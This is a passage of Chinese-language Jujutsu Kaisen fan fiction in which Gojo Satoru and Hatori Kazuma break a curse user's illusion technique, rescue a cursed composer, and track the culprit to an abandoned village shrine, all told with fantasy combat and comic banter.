要说矢野加奈就是那个名为蒲悠的诅咒师,五条悟甚至也不会怀疑。 他打开车门就要往矢野加奈家里冲,却正好迎上了灿烂的午后阳光——让五条悟突然想起来一件事。 “你们离远点,至少得距离这里一百米。我要放下[帐],隔绝掉这栋建筑,以防动静太大。” 他回头对津地智也和荒生润子说道,随即并拢二指,苍瞳紧盯这栋散发着不详气息的建筑物。 顺便在心底吐舌。 好险好险,差点就忘记了。 他没什么放[帐]的习惯,辅助监督又被他留在了SS事务所。 “放[帐]不会惊动那个诅咒师吗?” 羽取一真压低声音问五条悟,[业双]已经被右手握住,垂在身侧。 这也是上次他和夏油杰去做任务时,夏油杰没有放[帐],而是直接谋划偷袭的原因——恰好那处地点足够偏僻,附近没有普通人居住,夜色也能帮忙打掩护。 不过,那两个诅咒师显然也谨慎得要命,瞬间就察觉到了他们的打算。 “就算被对方发现了也没事——” ——与以往不同,此刻的五条悟笑得张扬又肆意,眉眼间充斥着意气风发的自信。 “我啊,绝对是更强的那个。” 眨眼之间,漆黑的帷幕好似墨汁流淌,以矢野加奈的住所为中心,将这片空间彻底隔绝出来。 在[帐]之内,每一分诅咒都会变得更加清晰,藏匿起来的咒灵也会现身—— 吱—! 在五条悟和羽取一真还没有上前敲门之时,一声尖利的嚎叫已然响起,好似将幼儿叫嚷啼哭的声音放大了千百倍,瞬间朝他们袭来! “[苍]!” 五条悟立刻抬手,无形的吸引之力瞬间撕碎这栋木制建筑的一角,无数碎屑被暴力挤压,碰撞,发出不堪重负的轰然巨响。 那道刺耳的声音瞬间消失了,取而代之的是一声短促的哀嚎。 五条悟在[帐]放下的同时便开启了[无下限]术式作为防御手段,即使有敌人突然进行偷袭,也不需要太担心。 他转头看向羽取一真,确定对方仍旧站在自己身边。 接着,五条悟才谨慎踏着阶梯上前,直接一挥手,用咒力将整扇门板拍飞出数米开外。 一位女性正站在客厅中央,神情漠然,双眼茫然失焦,好似一具被操控的木偶。 她大概就是矢野加奈了吧。 五条悟立刻继续驱使咒力,灌注在术式之中—— “[苍]!” “等等,悟!” 羽取一真就地一个打滚,擦着衣角避开了五条悟的攻击。 他刚才在猝不及防的情况下,已经挨了漂亮小悟的一发[苍],体力值瞬间掉到了半血以下……! 但此刻,五条悟的苍瞳相当凌厉,连同攻势也没有丝毫放松——在他的视角里,则是那个矢野加奈以不可思议的手段,挡下了他的攻击! 这可气死他了,刚才还和一真自信满满的下过保证,说他肯定能比敌人强大呢! 五条悟两只手张开,上下虚拢成一个球状,毫不客气的灌注更多的咒力。 “[苍],最大输出——!” 刹那之间,整栋房屋好似被一场极猛烈的风暴席卷,房顶、墙壁、一切家具都尽数被破坏殆尽,直至也化作风暴本身,碾碎肉眼所及的一切实体。 除了仍站在他身后的羽取一真。 那双苍瞳冷漠转动,只追逐着咒力的源头,让[苍]随着手势的指向而不断移动,誓要命中那个矢野加奈—— “<术式顺转·裂>。” [业双]被握住两端、旋开,化作锋利的双刃。 而其中一柄被脱手挥出,笔直没入那场风暴的中心。 ——叮。 宛若一圈缓慢荡起的涟漪,整个空间自那扎入某处的刃尖为基点,无数透明的裂痕迅速朝四周扩散,蔓延,好似无数的透明碎片在纷纷落下,又在原处不断生成新的。 随即,这场庞大的“风暴”骤然停歇,没有任何预兆的彻底散尽,宛若雷鸣骤雨过后的晴空,一切都化作了风平浪静。 五条悟惊住了。 他的[苍]并没有彻底释放完,但即使他再如何灌注自己的咒力,对准仍旧安然无恙的目标,也没有丝毫反应。 怎么回事,他明明感觉自己的[苍]依旧在发动中,那片空间却好似死掉了般,坐标与坐标之间的距离不再产生负无穷的吸引效应。 这是敌人的术式?! 五条悟的大脑刚冒出这个想法,随即被否决——不对,按照情报来分析,敌人的术式是跟声音相关的幻觉,没错,就像现在这样,欺骗他术式突然失效了! ……不对。 五条悟尚在输出的咒力顿时一停,终于察觉到异常。 他听到声音的时候是进门之前。 [无下限]能够让一切物体在离他越近的时候,便越发接近于静止的状态。 而这不包括声音。 他是能听见声音的。 如果以声音作为媒介,进而欺骗他的视觉……现在的他,是否已经陷入了幻境之中? 五条悟安静片刻,转头问站在他身后的黑发少年,口吻干脆利落。 “你喜欢我吗?” 对方霎时一愣。 正在用术式技能躲五条悟攻击的羽取一真瞬间耳廓滚烫,那把[业双]都险些跟着脱手甩出去。 “原来真是你搞得鬼。” 五条悟轻哼出声,[苍]的手势瞬间对准这个装模作样的冒牌货。 吱——! 这回的声音好似晨雾散尽前的一声哀鸣,比起之前的凄厉已经不知道虚弱多少。 而等这声音消散过后,不再受术式影响的五条悟才终于看见真正的景象。 他第一反应先找羽取一真的下落,发现对方正站在角落里,默默将两把短刃收回成一根乌棍,那姿态看上去甚至还有点局促。 嗯,看起来超呆的,应该是他的真·黑豆柴没错了。 确定羽取一真本人没被他的[苍]误伤到,五条悟松了口气。 至于这栋房子,确实被他用[苍]拆了个七零八落,原本冒牌货站着的地方空无一物,并没有他预想中的敌人尸体。 “矢野加奈呢?”五条悟问。 “我刚才杀死的是什么?” “不知道,”羽取一真摇头,“在你对那个方向放出[苍]的瞬间,我才看见什么也没有的地方,突然冒出了一只婴儿形状的咒灵。” “嗯……大概是术式的原理吧。” 五条悟沉吟点头,“不可能有完美无缺的术式,这就是那家伙不得不留下来的[破绽]。” 哪怕是幻觉,也得有个能破坏的点——或许是当他察觉到那个羽取一真是冒牌货的同时,这个术式就被破解了。 “矢野加奈的话,” 羽取一真指了指屋外,继续回答五条悟刚才的问题。 他脸上的烫意还没彻底消散,说话都无意识压低了声音。 竟、竟然会用那个问题来分辨他的真假…… “我在躲你技能的过程里,发现她昏倒在一边,就一脚把她踹到院子里去了。” 第114章 羽取一真自认为他在匆忙躲悟释放出的范围性技能时, 还能抽空把这位昏迷的矢野加奈一脚踹去尚未受到波及的院子里,已经很关照她了。 包括体力值已经损失过半的他自己,要不是因为[苍]直接命中人体的后果会惨烈到质疑“这个人怎么可能还活着”的程度, 可能也不会像此时的外表那般看上去完好无损。 这可能也是游戏的一个设计机制——除开咒力这种特殊战斗体系的设定外, 尽量不在其它地方出现不符合自然规律的现象。 至于矢野加奈,羽取一真也不是故意放她一马。 毕竟悟还没进门就中了术式,对方却从一开始就是昏迷的状态,羽取一大概能猜测她或许也是受害者之一。 不过,要是五条悟一直没能挣脱幻术,羽取一真也真的会尝试将这位npc干掉, 来试试看对方中的术式会不会解除。 幸好悟竟然很快就察觉到不对劲,而且自己想办法从幻觉中挣脱了出来。 就是这个挣脱的办法…… 羽取一真压了压心底泛起那股微妙情绪, 只能假装自己没听见那个问题, 跟五条悟一起去院子找那位矢野加奈。 大约是术式被五条悟解除的关系, 她此刻虽然还倒在院子里的草地上, 但人已经开始苏醒了,正在迷迷糊糊揉眼睛。 周围还散落着一堆五条悟暴力拆出来的房屋碎块。 “好痛……” 这是她醒来后说出的第一句话。 一只手搭在肋骨的位置, 可能被羽取一真的那一脚不小心踹断了几根。 五条悟默默看向羽取一真。 羽取一真轻咳出声。 “我的家!?” 这是她醒来后的第二句话,并对着废墟发出了一声完全难以置信的惨叫。 羽取一真默默看向五条悟。 五条悟轻咳出声。 他们两个人,一个踹断了别人的肋骨,一个龙卷风摧毁一户建…… 五条悟瞬间摆出格外严肃的表情, 上前关心这位荒生润子的作曲好友。 “请问你是矢野加奈吗?现在感觉怎么样?” 他的[六眼]在看见这位矢野加奈的第一眼, 就已经再清楚不过的告诉了他——这只是一个被种下了诅咒的普通人,并非他们要找的那位诅咒师。 此刻, 矢野加奈正对着那处狼藉到连原貌都看不出来的废墟,震惊到眼珠都快脱框。 忽然,她的面前突然冒出了一个外貌漂亮又精致的白毛蓝瞳少年, 不仅抱膝蹲在她面前,还语带关心的问她有没有事。 矢野加奈张了张嘴,吐出一句飘悠悠的话。 “……我感觉我现在在做梦……” “哈哈哈,不是在做梦啦,你的家真的被毁掉啦——被我。” 五条悟握拳轻敲了下自己的脑袋,看起来格外不好意思,甚至吐出点舌尖卖萌。 矢野加奈默默转过脑袋,改成瞪着他。 “………” “你的肋骨,”羽取一真也抬手自首,“我踹断的。刚才为了救你……比较着急。” 矢野加奈再度缓慢移动视线,改为瞪着这两人。 “…………” 这一切都好像做梦,让她感觉格外不真实,甚至连同大脑都产生了一种恍惚的眩晕感。 为什么自己只是睡了一觉,醒来就被两个看起来如此眼熟的少年又是踹断肋骨,又是暴力拆家……? 其实还是在做梦对吧?特别真实的那种。 “其实这也不是什么大事,后续高专那边会有人联络你善后的啦,损失和受伤的费用也会全部都给足的。” 五条悟看矢野加奈一副彻底呆若木鸡的模样,出声给她鼓劲。 “而且至少你还活着呢,超幸运的!看我以前接过的好多任务,基本上都只有受害者,没有幸存者。” 这句话可是实话实说,矢野加奈确实是少数在身中诅咒后,竟然还能活下来的幸运儿呢。 相比之下,她只是损失一栋住所,外加断了几根肋骨,代价真的超级小啦。 这起事件中的其余当事人,可是已经成为了受害者。 矢野加奈:“…………” 得知自己会有赔偿的矢野加奈深吸口气,终于开口说话了。 “我想起你们是谁了,五条悟和羽取一真。” 之前那对超级火爆的新人出道组合! 她当时听荒生润子说这两位美少年与她同样隶属SS事务所之后,还特意拜托她能不能给自己要个签名的! 结果后来听荒生润子说他们没有再出现过,还很是遗憾过好久。 谁知道她会在今晚见到这两人——而且还是在那种超自然作品里才会出现的场景和对话! 但眼前这栋被毁成碎渣渣的建筑物,就是最有力的证明。 “是啦,是我们。” 五条悟大方点头承认,且为了让这位矢野加奈放松下来,还冲她眨了个单眼wink,可爱极了。 “虽然现在我们应该立刻让润子姐姐送你去医院啦,但诅咒还缠绕在你身上,情况紧急,先把你之前的经历跟我们大概说一下哦,例如见过什么诡异的家伙,拿到过什么奇怪的东西,或者经历了什么不寻常的事件。” 房子被拆、肋骨受伤,这些都是小问题,因为真正的元凶——那个叫蒲悠的诅咒师还没有抓到。 五条悟一口气说完这大段完全超出矢野加奈想象的话,让她整个人又有点呆住。 但对方的神态认真,而且听起来还关乎自己的性命安危,矢野加奈只能绞尽脑汁的回想自己前段时间做了什么。 “我的工作是作曲,经常会去各种地方逛,放松、观察、采风、找灵感,总之会更倾向于做点与普通日常不同的事情。” “要说前段时间的话,因为润子让我为她的专辑新歌作曲,元素大概是带点摇滚的迷幻电音风格……我以前从来没有试过这种,所以想去类似的地方找找灵感来着。” “一开始去的地方是酒吧,但那些男公关太烦人了,不仅长得丑,还总是拉着我说个不停,想怂恿我高价买那些劣质酒。普通酒吧又更偏向抒情和爵士风格。” 矢野加奈光是回忆之前的那些经历就直皱眉。 “后面我就改成去迪厅了……但待过好几晚,也没有什么收获。” “最后那个晚上,我打算再也不来这里的时候,遇到了一个主动来向我搭讪的中年女性。” “她和我聊了几句,听说我在找作曲的灵感后,推荐我去一个叫做渡鹿村的地方。” “渡鹿村?”五条悟问,“在东京吗?” “对,在超级、超级偏僻的地方,是一个已经废弃、政府最近打算改为水库的小村落。” 矢野加奈点头,“需要在森林里走好久,然后穿过一条河流……但我只在那里看见了大量残破的房子,以及一座神社。” “那个神社好像供奉着什么东西,奇怪的木娃娃,两个眼睛的部分是空洞,嘴巴也张开着,看上去超级诡异。” 矢野加奈想了想,又补充一句描述,“上面还有干掉的褐色血迹。” “应该就是从那里回来后,我再交给润子试听带时,她就总和我说听见了奇怪的杂音。” 听完这段描述,羽取一真转头问五条悟。 “那个女人?” 听起来很像是那个名叫蒲悠的诅咒师,木娃娃的描述也和能引发幻觉的婴儿哭声相符。 “那间迪厅可能只是她在寻找下诅咒的目标,直接去那里也未必能找得到她。” 五条悟沉思片刻,敲定接下来的搜查方向。 “带我们先去那个废弃的渡鹿村,我要去看看木娃娃到底是不是她的术式媒介。” ——话音落下,他转头看向仍旧坐在地上的矢野加奈,露出一点点不好意思的表情。 “…………” 矢野加奈立刻懂了这位白发少年没有说出口的话。 “我这就跟你们去……嘶。” 毕竟这事关乎她的性命,矢野加奈只能捂着痛处,艰难站起身。 “没关系,我们先去一趟附近的医院急诊看下你的伤势,如果太严重的话可不能随便移动啦。” 五条悟挥手解开[帐],打电话给智也大叔,让他赶快来接。 荒生润子也在车上,一看矢野加奈的家眨眼间就彻底化作了废墟,顿时倒抽一口气。 “这是发生了什么??” 这两位口中的[咒灵],竟然这么恐怖! 五条悟双手背在身后:“哎嘿。” “……让我活下来的代价。” 矢野加奈一手捂着痛处龇牙咧嘴,另一只手摆了摆,示意这位好友不要再扎她的心了。 她的那些曲稿啊,记录下来的零碎灵感啊……幸运的话还能给她留几张纸,不幸的话就全没了。 而且,答应给荒生润子的新歌至今还没有定下初版。 不过,至少矢野加奈本人没有出事,荒生润子还是长出了口气,赶紧先带她先去医院。 拍片的结果也还不错,显示三根肋骨出现轻微骨裂,没有内出血——只需要服用镇痛药,外加使用弹性胸带固定好胸廓,就可以正常活动了。 矢野加奈长舒一口气。 她当时痛到还以为自己真的骨头全断掉了呢。 既然医生确定了不用住院,矢野加奈便负责指路,连夜带五条悟他们前往她曾经去过的渡鹿村。 在开车前往的路上,五条悟没忘记打电话给还在熬夜等他们的古井先生,拜托他帮忙找高专那边查一下渡鹿村相关的信息,越详细越好,尽快发邮件给他。 羽取一真则在旁边默默啃商城买的回血面包,抓紧时间把体力值回满。 “对了,我之前陷入幻觉的时候。” 五条悟挂断电话,突然想起一件事,便用手肘轻轻拱了下坐在他身边的羽取一真。 “[苍]瞄准的对象,其实是你对吧?” 羽取一真咬着面包点头:“嗯。” 五条悟:“那最后[苍]的术式反应突然消失,也是你搞出来的吗?” 要不是在攻击途中,骤然出现了违反他咒术直觉的情况,他都没反应过来自己已经陷入了幻觉呢。 就是不知道一真是怎么弄出来的,有点好奇,问问看。 羽取一真自然不会瞒着五条悟:“应该是我的术式导致的。<术式顺转·裂>。” 【目前装备:[业双]。】 【目前默认使用技能: <术式顺转·裂>,双刃形态:掷出其中一柄短刃至空间坐标点,以其刃尖为中心,空间会沿东、西、南、北、上、下的方向碎裂一定范围,并进行清零重置。对目标造成大量伤害。生效范围距离取决于消耗的咒力量。 <术式顺转·裂>,短棍形态:挥击的落点会附加小范围的空间不稳定效果,使目标受到的下一记攻击伤害增加。多次针对同一落点进行攻击,可打碎该范围的空间,并进行归零重置。生效范围及消耗的咒力量固定。】 简单来说,就是短棍给敌人挂上易伤debuff,双刃则强制清除一定范围内的敌方术式效果。 如果用在敌人身上,应该会强制终止对方发动中的术式效果,并使其陷入一定时间的硬直状态? 羽取一真不太确定,但五条悟已经快坐不住了。 他预设了好多种让一真学会术式的情形,无外乎他终于想出了教会对方使用术式的办法,然后得意昂着脑袋接受黑豆柴眼睛亮闪闪的夸夸。 万万没想到,最后是他把对方逼得再不用术式就会挂掉……是在这种绝境情况下学会的啊! 乍一听确是他教会的没错,可怎么也不该是这种教法……! 五条悟有点内疚的鼓起脸,还是认真向羽取一真道歉。 “抱歉,差点误伤到你。” “啊,那个,完全没关系。” 羽取一真那口回血面包顿时也噎在了嗓子眼。 挨了一发[苍]倒是无所谓,玩家还活着就等于无伤。 至于术式,羽取一真本来想在这次任务里给五条悟一个惊喜,才特意没有提前告诉他。 但这次,恰好由于羽取一真没有提前告诉五条悟他的术式效果,才让幻觉中的五条悟察觉到了不对劲。 羽取一真也算是有点庆幸。 只不过,他现在更不想让漂亮小悟的情绪再继续低落下去——就连那头总是很精神的白毛毛都变得蔫巴,像一株枯萎的向日葵。 羽取一真努力思考半晌,只能凑近在五条悟的耳边,轻声对他说。 “我听见了你在幻觉里问出的那句话。” 五条悟:“……” 五条悟:“!!!” ………… 津地智也的轿车缓慢停稳在渡鹿村所处的森林外沿。 为了保证荒生润子和津地智也的安全,五条悟让他们等在森林之外,还特意放下了[禁止术师进入]的[帐]。 虽说[帐]能靠蛮力打破,但其坚固程度也与施术者灌注的咒力多少有关。 这可是他放下的[帐],想要打破的话,普通术师至少得花上一个小时吧。 遑论这个距离的咒力还在五条悟的感知范围内,保管那个妄想偷袭的诅咒师使不出两招,就会被赶回来的他逮个正着。 矢野加奈走得相当慢,羽取一真和五条悟一前一后守着她,防止出现意外。 她的心里已经塞满了害怕和退堂鼓,但还是鼓起勇气往里面走。 这座在白天便已相当诡异的荒芜村落,夜间更是令人感觉怪诞至极。 明明是深秋的季节,附近竟然连一声虫鸣也没有响起,仿佛一张吞噬生命的静默巨口,无声的、长久的存在于此处。 仅剩凌乱的杂草在这里扎根,或任由藤蔓缓慢攀上那黄土堆砌的泥墙、破碎的瓦片,以及腐朽断裂的板木,在夜风拂过叶片时摇出窸窣的声响,将这座破败而凋敝的荒村渲染得愈发恐怖。 “神社的话……” 矢野加奈刚小心翼翼开口,就被五条悟竖起食指抵在唇前,让她不要出声。 “我看得见。” 五条悟轻声解释道,边带着她和羽取一真往诅咒气息最强烈的那个方向靠近。 在他的视野内,这座村落被覆盖上了大片咒力残秽,和矢野加奈身上的如出一辙。 确实是诅咒的源头没错了。 五条悟的每一步都格外谨慎,[无下限]更是早就开了起来。 他目前还不会反转术式,没办法一直保持[无下限]的开启状态——要是维持太长时间,会烧坏大脑。 羽取一真的[业双]也已经切换到双刃形态,随时准备发动<术式顺转·裂>。 虽然消耗的咒力量要比[黑闪]以及短棍形态的术式高,但胜在是中远程技能,伤害也比短棍形态的高。 矢野加奈的身上还有诅咒,把她单独留下不太安全,还不如放在视野可以顾及到的范围内。 越往深处走去,空气中传来的压迫感愈发沉重。 当那座样式同样诡异的神社出现在他们面前时,五条悟更是比出[苍]的手势,咒力在体内流淌,随时保持即将发动的状态。 这是一间没有门与墙壁的神社,仅有几根粗壮的圆柱支撑着屋顶,周围环绕着一些已经脏污不堪的注连绳,有些落在腐朽发霉的木地板上,有些落在更远的泥土里,被枯叶与杂草掩埋。 而正中间的供桌上,则摆放着那个矢野加奈口中的木娃娃。 它睁着两只流血的空洞眼眶,正在冲五条悟他们露出一个扭曲的微笑。 矢野加奈发出一声压抑的尖叫:“它的表情变了!” “没事的,不要离开我身边就行。” 随即,她的脑袋被一只温暖的手掌按上了,并在轻轻拍了一下后又拉住胳膊,将她带到自己的身边。 矢野加奈怔住了,抬眼看向这个明明比自己小上至少十岁、却在此刻给予了她无与伦比的安心感的白发少年。 而将她护在身后的五条悟,神情格外冷静。 或许他目前尚未满16岁,但从幼时到现在,早已数不清到底做过了多少次任务,处理异常事件的经验更是比许多咒术师都要来得丰富而娴熟。 “能够被加奈看见的诅咒,说明已经很危险了。” 五条悟的视线紧盯木娃娃,开口对羽取一真说道,“但我竟然看不出这到底是一种远程施展的咒力媒介,还是术式造成的效果。” “一真,用你的术式攻击它。” 正好他这个术式效果相当克制那类依靠术式进行攻击的敌人……搞不好连他也包括在内。 五条悟顺带发散了下思维。 竟然能强制终止[苍]造成的破坏,也不知道[十方摩诃]能不能破开他的[无下限],回去可以实验一下。 但五条悟等了片刻,发现羽取一真没有任何反应。 他奇怪的转过目光。 “一真?” 他疑惑喊了句,却见到羽取一真神情淡漠,倒转其中一柄[业双]的短刃,将刃尖对准自己——毫不留情地扎入腹部! <术式顺转·裂>。 那双苍瞳顿时错愕睁大,却见到羽取一真身上不知何时已缠绕上诅咒气息——但此刻,它好似发出了无声的瞬间哀鸣,伴随着空间碎片纷纷落下,宛若一块口香糖被瞬间冷冻、进而彻底剥离。 矢野加奈被吓得反射性发出了第二声低呼,但立刻用双手捂住了自己嘴巴。 而五条悟立刻明白了眼下发生的状况。 木娃娃或许只是个障眼法,但既然它能拥有如此强大的、仍在不断涌动着散发的诅咒气息,就意味其主人必定在附近! 羽取一真正是中了敌人的幻觉术式,却在瞬间就反应过来,并强制用他自己的术式终止了敌人正在发动的术式! 既然如此,五条悟顾不上询问羽取一真的伤势如何,苍瞳扫视周围,瞬间找到比那个木娃娃要微弱许多的、却沾染有其它咒力残秽的诅咒气息—— “[苍]!” 骤然爆发出的大量咒力输出令整块地皮都被蛮横掀起,宛若被锅铲切断的黄油;而那些已残破不堪的残桓断壁更是被大片大片的咒力碾碎,以摧枯拉朽之势,让这场更猛烈的飓风裹挟着无数碎块,一寸一寸地将那附近的空间全部都恶狠狠搅了一通! 隐约的惨叫声,也没有令这场人为制造的天灾停止。 矢野加奈震惊仰头,望着这场凭空而起、完全不符合常理的庞大风暴,又看向神态冷冽、抬手间隐含怒意的白发少年。 直到那个木娃娃同样被绞碎在[苍]里,五条悟才停下手,目光转向以自伤来破除敌人术式、连带将自身咒力延伸至敌人本体的羽取一真。 那双冷冰似的苍瞳,也缓慢柔和下来。 而羽取一真也知道他要问什么般,轻轻摇头示意自己没事。 看着这无声举止间充满默契的二人,矢野加奈的作曲忽然有了灵感。 第115章 随着这场人造的风暴彻底停歇, 五条悟前往刚才[苍]瞄准的落点,从一大堆黄泥、草屑与木块搅和而成的废墟中,找到一具勉强还完好的尸体。 那具木娃娃被他用咒力绞成了一堆木屑, 还能在脚边看见零碎的一两块, 诅咒的气息极淡,已经构不成任何威胁。 而这个躲藏起来、准备阴他们的诅咒师也在羽取一真的暴力破关下被他抓住破绽,迅速死亡。 或许别的术师仅靠感知,很难通过细微涌动的咒力残秽来锁定人——遑论是与自身咒力残秽混在一起的状态。 但很不巧,他有一双足够敏锐的眼睛,正好能跟羽取一真的反击打配合。 拖着那具尸体走出被[苍]硬生生往下铲平一米的深坑带, 回到仍等在原地的二人身旁,压在五条悟心底的石头终于挪开了些。 破落的村庄没有照明, 在这无光的冰凉夜色下, 那双晴空似的苍瞳也显得幽暗些许, 宛若暴雨初歇的铅灰天空, 透着一股暗沉沉的晦郁。 而这道暗沉沉的目光,先是看向不知道出神想些什么的矢野加奈, 确定她身上的诅咒气息在迅速消散后,又转回来,幽幽盯上了正在用衣袖擦拭短刃上血迹的羽取一真。 后者明显察觉到了五条悟的视线,低着脑袋, 整个人都有点不敢动。 五条悟发出一声不咸不淡的呵呵轻笑。 羽取一真的动作变得更加僵硬, 擦血迹的手都缓慢停住了。 完全变成了一副乖巧认错、等待训话的模样。 “………” 五条悟的那一口气顿时堵在胸口。 知道自己犯了错,但下次还敢干是吧。 之前割手指还能说一句大概是习惯受伤——现在随手就能给自己一刀算什么, 习惯受重伤? 五条悟感觉自己能被这小子气死。 见过疯狂的,也没见过这么疯狂的!好歹先学会反转术式再说吧! 五条悟气哼哼嘟哝了几句,声音既快又含糊, 没人听清他在说什么。 矢野加奈呆呆问道:“抱歉,我没听清?” 她的脑海里其实正狂奔着无数灵感,就算五条悟给她复述一遍,大概率也是左耳进右耳出的。 羽取一真更是没敢出声问。 他当时没想那么多,敌人放给他的幻觉实在太离谱,他甚至没用一秒钟就反应过来了这是假的,并立刻用自己的技能强制终止了敌人发动在他身上的术式。 哪怕自身同样会受到大量伤害,但他在车上已经把血补满了,所以又掉回半血的结果完全在他的预期范围内。 就是这个强制终止术式的手段,可能、大概、或许……有一点点粗暴。 等他回想起自己这相当于是直接给了自己一刀,且腹部的创口根本无法掩饰过去后,羽取一真默默垂头。 刚才还敢摇头和五条悟说自己没事的气势,早就飞到了九霄云外。 “…没事。” 五条悟眯了眯苍瞳,大概是在说[等回去再和你算账],便转头拜托矢野加奈带路。 羽取一真悄悄松口气,跟在五条悟身后。 “搞定,我们现在可以回去了。来帮忙认一下,这是你在迪厅见过的那个女人吗?” 矢野加奈终于从那些凌乱的旋律里拉回注意力,在见到五条悟手上拖着的不是单纯的负重物后,瞬间想发出一声尖叫——然后哽在了喉间。 “…………” 在等着她害怕叫出声的五条悟等了片刻,在头顶缓慢打出一个问号。 “……嗯?” 矢野加奈深吸口气,又缓慢吐出来——因为忘记了自己肋骨骨裂的事实,还伴随着轻微的龇牙咧嘴。 “没错,就是这个女人。” 她认真打量了那具尸体两眼,从那头乱七八糟盖了满脸的发丝间勉强分辨出对方的五官,而后镇定点头,并附带了一句解释。 “我只是突然觉得,自己不应该这么大惊小怪的。” 接二连三的离奇景象都见过了,拥有超能力…不对,咒力的少年都见过了,区区一具尸体而已,已经完全没有必要惊讶了。 五条悟哑然片刻:“……难怪你敢一个人来这座村落呢。” 矢野加奈扯了扯嘴角:“过奖,我是白天来的,光线比现在好多了,只是觉得这里有点荒凉……而且,我以前还去过更让人毛骨悚然的地方找灵感呢。” “咦,哪里?” “…传闻里的现实鬼屋、医院的停尸间和人体标本博物馆。” 为了寻找惊悚与怪诞元素的创作灵感,她也是很拼命的! 五条悟:“………” 五条悟有点感叹的开口:“我都有点佩服你了。” 全是容易诞生咒灵的地方……这么作死,竟然还能坚持到现在才被诅咒。 甚至幸存了下来。 “总之啦,以后要注意安全,千万不能一个人去那些恐怖的地方了哦。” 五条悟拖着尸体往津地智也那边走,顺带在路上给她科普一点有关咒灵和咒力的知识。 矢野加奈听着白发少年开始绘声绘色的讲述那些咒灵是怎么伤害人类,刚恢复平静的表情逐渐转为惊恐。 “………咿呀呀!!” 她以后再也不敢去那些像恐怖片场的地方了! ………… 回到[帐]旁边,五条悟先绕着用[六眼]扫视了一遍。 “有咒力残秽,她来过并尝试了攻击下,发现进不去就放弃了。” 果然啊,他就猜荒生润子才是这个诅咒师真正的目标,否则矢野加奈不可能活下来。 挥手解开[帐],津地智也正有一搭没一搭的拍着方向盘,跟着车内播放的歌曲轻声哼哼,而荒生润子在冲着窗外发呆。 突然见到五条悟他们平安回来,津地智也当即表情一喜,“你们……哇啊!”——这瞬间脱口惊出的后半句,是他看见五条悟靠过来时,身后还拖着具尸体。 而五条悟也若无其事的过来敲他窗户。 “大叔,麻烦打开一下后备箱啦,我把她丢进去放着。” 津地智也:“…………” 真的吗,他的后备箱要放进去这个东西,第二天不会被警察逮捕?? 而后,他瞥见跟着五条悟身后的羽取一真,衣服上有大片血渍——顿时又吓一大跳,连刚才想说的话都忘了。 “一真这个……” 羽取一真连忙摆手,完全不想让漂亮小悟的注意力放在这个伤口上。 “我没事。” 等他回去偷偷啃两块回血面包,把体力值补满,伤口自然就会彻底愈合了,皆大欢喜。 “这不是还得麻烦大叔再去一趟医院急诊吗。” 但已经迟了,五条悟顿时又发出两声冷冰冰的呵笑,把羽取一真笑得浑身一激灵。 “噢噢,确实得去,那你们先上车吧,我把这个,呃,后备箱打开,你小心点把她塞进去,不要让人从外面能看出来。” 见矢野加奈也平安无事,此刻已经和荒生润子在旁边交流起了今晚发生的事情,也算是松了口气的津地智也收回目光,颇有点手足无措的在仪表盘旁边找到后备箱按钮,按下。 他莫名有种自己当犯罪同伙的感觉…… 但看五条悟和羽取一真都是一副习以为常的模样,他也不好意思让自己表现得太慌张。 尤其是后者,肚子上开了个口子还能这么云淡风轻的,简直让津地智也佩服得五体投地。 毕竟等会还要送羽取一真去医院,五条悟头一次谨慎地将这具尸体折巴折巴,在血不沾到车外壳的情况下,成功把她塞进了后备箱。 对于这种早就不知道害了多少条人命的诅咒师而言,五条悟是不会有半点客气的。 这些诅咒师能藏在普通人社会活这么多年,难道还指望他们靠打工赚自己的生活费吗。 何况还是这种又被抓住小辫子的。 在去往医院的路上时,五条悟的手机振动,收到了古井先生的邮件。 “简单来说,渡鹿村的神社里根本没有在供奉正常的神明,”五条悟快速扫过一遍,“大概是曾经有诅咒师在那里居住过,他们供奉着一个名叫[祸灵魂]的鬼童,并会在每年都进行一次[鬼祭]仪式。” “鬼祭这听起来就很不对劲吧?” 矢野加奈默默吐槽一句。 “毕竟日本各种奇奇怪怪的祭祀实在太多了,之前我有一次出任务,记得那个地方还有[熊灵祭]来着,仪式就是现杀一头熊。” 五条悟耸了下肩膀,继续说道。 “总之呢,这个[鬼祭]就是在这个村子里挑选出一个幼童扮演[鬼],带着祸灵魂模样的面具,手持镰刀,边念祝词边将神社周围的注连绳割断……这些流程都略过,反正最后得由神官驱逐附在幼童身上的[祸灵魂]。” “如果神官驱逐成功,仪式就结束了,[祸灵魂]在下一年不会来危害这个村子。” “但倘若神官没有驱逐成功,[祸灵魂]就会一直附身在幼童的身上,逐步汲取作恶的力量。” 五条悟翻了翻后面那一大段话,尽量将后续说得简明扼要。 “但这个村落最后一年举行[鬼祭]仪式时,由于突如其来的暴雨和洪水,导致连选幼童的仪式都没能完成。后来政府组织集体搬迁,神社更是彻底荒废了。” 矢野加奈越听,眼睛睁得越大,直至惊讶的捂住嘴。 “所以……我是那个被附身的幼童?” 呜哇,这完全就是恐怖片展开了嘛! “…不是啦。”五条悟好笑道,“普通人举行的仪式并不具备将传闻化作现实的能力,即使针对性的负面情绪不断积累,也只是有可能催生出类似形象的咒灵——而且这座村落的规模并不大,想生成会用咒术的准一级以上咒灵就更难了,顶多二级吧?” “再加上那些受害者都是曾经搬迁出去的村民……嗯,我估计这是那个诅咒师做的,她应该是想借此制作增强她术式效果的咒具。” 毕竟能流通在外的咒具太少,而制造它的过程或材料里又需要饱含负面气息,最好还能成为连环杀人的凶器或媒介。 “就算后期没有洪水的干扰,她也会想办法故意中断仪式,杀死村民,给其他人制造恐慌。” 除了羽取一真外,车内其余人都听得似懂非懂。 “那为什么又找上我呢?”矢野加奈问道,“我不是这个村的村民啊。” “诅咒师啊,除了想各种办法提高自己的存活率外,就是想各种办法赚钱。”五条悟想了想,“大概是有人嫉妒荒生润子,所以花大钱想请这个诅咒师对她下诅咒吧。” 没办法接触到荒生润子,就只能先接触矢野加奈,然后想办法间接给荒生润子下诅咒。 也正因如此,这个诅咒师才不得不尽快锻造出能满足她要求的咒具,导致原渡鹿村民一口气死太多,被高专发现了蹊跷。 荒生润子呆住:“……咦,目标竟然是我?” “真是得多亏你耳朵灵敏,才能听出杂音的不对劲喔。否则等时间再长一点,就真的要出事了。” 五条悟冲她眨了眨眼,“润子姐姐,超专业!” 荒生润子被这一记wink击中,刚提起来的心顿时又放回去,失笑出声。 “那我之后该怎么办呢?要是再发生这种事……” “高专会负责后续的排查工作,先确定这个诅咒师在普通人社会中的假身份,然后去反查她都接触过哪些人,看看还能不能再抓出一些漏网之鱼,连带找到给她下委托的人。” 